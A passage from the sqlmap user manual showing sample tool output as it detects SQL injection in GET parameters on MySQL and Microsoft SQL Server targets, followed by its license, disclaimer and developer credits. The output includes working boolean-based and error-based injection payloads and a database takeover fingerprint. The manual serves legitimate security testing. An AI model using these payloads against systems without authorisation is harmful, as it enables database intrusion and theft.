local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
v 1.0 82
sqlmap users manual 6 Bypass anti-CSRF protection
[xx:xx:13] [INFO] testing MySQL >= 5.1 OR error-based - WHERE, HAVING, ORDER BY
or GROUP BY clause (EXTRACTVALUE)
[xx:xx:14] [INFO] testing MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER B
Y or GROUP BY clause (UPDATEXML)
[xx:xx:14] [INFO] testing MySQL >= 5.1 OR error-based - WHERE, HAVING, ORDER BY
or GROUP BY clause (UPDATEXML)
[xx:xx:14] [INFO] testing MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER B
Y or GROUP BY clause (EXP)
[xx:xx:14] [INFO] testing MySQL >= 5.5 OR error-based - WHERE, HAVING clause (E
XP)
[xx:xx:14] [INFO] testing MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER B
Y or GROUP BY clause (BIGINT UNSIGNED)
[xx:xx:14] [INFO] testing MySQL >= 5.5 OR error-based - WHERE, HAVING clause (B
IGINT UNSIGNED)
[xx:xx:14] [INFO] testing MySQL >= 4.1 AND error-based - WHERE, HAVING, ORDER B
Y or GROUP BY clause
[xx:xx:14] [INFO] testing MySQL >= 4.1 OR error-based - WHERE, HAVING clause
[xx:xx:14] [INFO] testing MySQL OR error-based - WHERE or HAVING clause
[xx:xx:14] [INFO] testing MySQL >= 5.1 error-based - PROCEDURE ANALYSE (EXTRACT
VALUE)
[xx:xx:14] [INFO] testing MySQL >= 5.0 error-based - Parameter replace
[xx:xx:14] [INFO] testing MySQL >= 5.1 error-based - Parameter replace (EXTRACT
VALUE)
[xx:xx:15] [INFO] testing MySQL >= 5.1 error-based - Parameter replace (UPDATEX
ML)
[xx:xx:15] [INFO] testing MySQL >= 5.5 error-based - Parameter replace (EXP)
[xx:xx:15] [INFO] testing MySQL >= 5.5 error-based - Parameter replace (BIGINT
UNSIGNED)
[xx:xx:15] [INFO] testing Generic UNION query (NULL) - 1 to 20 columns
[xx:xx:15] [INFO] automatically extending ranges for UNION query injection techn
ique tests as there is at least one other (potential) technique found
[xx:xx:15] [INFO] ORDER BY technique seems to be usable. This should reduce the
time needed to find the right number of query columns. Automatically extending t
he range for current UNION query injection technique test
[xx:xx:15] [INFO] target URL appears to have 3 columns in query
[xx:xx:16] [INFO] GET parameter artist is Generic UNION query (NULL) - 1 to 2
0 columns injectable
GET parameter artist is vulnerable. Do you want to keep testing the others (if
any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 39 HTTP(s) re
quests:
---
Parameter: artist (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: artist=1 AND 5707=5707
v 1.0 83
sqlmap users manual 6 Bypass anti-CSRF protection
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end users responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
v 1.0 84
sqlmap users manual 6 Bypass anti-CSRF protection
Switch: --wizard
For beginner users there is a wizard interface which uses a simple workflow
with as little questions as possible. If user just enters target URL and uses
default answers (e.g. by pressing Enter) he should have a properly set sqlmap
run environment by the end of the workflow.
Example against a Microsoft SQL Server target:
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end users responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
v 1.0 85
sqlmap users manual 6 Bypass anti-CSRF protection
heuristic (parsing) test showed that the back-end DBMS could be Microsoft SQL S
erver. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y
do you want to include all tests for Microsoft SQL Server extending provided l
evel (1) and risk (1)? [Y/n] Y
GET parameter id is vulnerable. Do you want to keep testing the others (if any
)? [y/N] N
sqlmap identified the following injection points with a total of 25 HTTP(s) requ
ests:
---
Place: GET
Parameter: id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=1 AND 2986=2986
Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
Payload: id=1 AND 4847=CONVERT(INT,(CHAR(58)+CHAR(118)+CHAR(114)+CHAR(100)+C
HAR(58)+(SELECT (CASE WHEN (4847=4847) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(58
)+CHAR(111)+CHAR(109)+CHAR(113)+CHAR(58)))
v 1.0 86
sqlmap users manual 9 Developers
---
Microsoft SQL Server 2005 - 9.00.1399.06 (Intel X86)
Oct 14 2005 00:33:37
Copyright (c) 1988-2005 Microsoft Corporation
Express Edition on Windows NT 5.1 (Build 2600: Service Pack 2)
---
current user: sa
current database: testdb
current user is DBA: True
7 License
sqlmap is (C) 2006-2016 Bernardo Damele Assumpcao Guimaraes, Miroslav
Stampar.
This program is free software; you may redistribute and/or modify it under the
terms of the GNU General Public License as published by the Free Software
Foundation; Version 2 (or later) with the clarifications and exceptions described
in the license file. This guarantees your right to use, modify, and redistribute this
software under certain conditions. If you wish to embed sqlmap technology into
proprietary software, we sell alternative licenses (contact [email protected]).
8 Disclaimer
This program is distributed in the hope that it will be useful, but WITHOUT
ANY WARRANTY; without even the implied warranty of MERCHANTABIL-
ITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General
Public License v2.0 for more details at http://www.gnu.org/licenses/gpl-2.
0.html.
Usage of sqlmap for attacking targets without prior mutual consent is illegal.
It is the end users responsibility to obey all applicable local, state and federal
laws. Developers assume no liability and are not responsible for any misuse or
damage caused by this program.
9 Developers
Bernardo Damele A. G. ([@inquisb](https://twitter.com/inquisb))
Miroslav Stampar ([@stamparm](https://twitter.com/stamparm))
v 1.0 87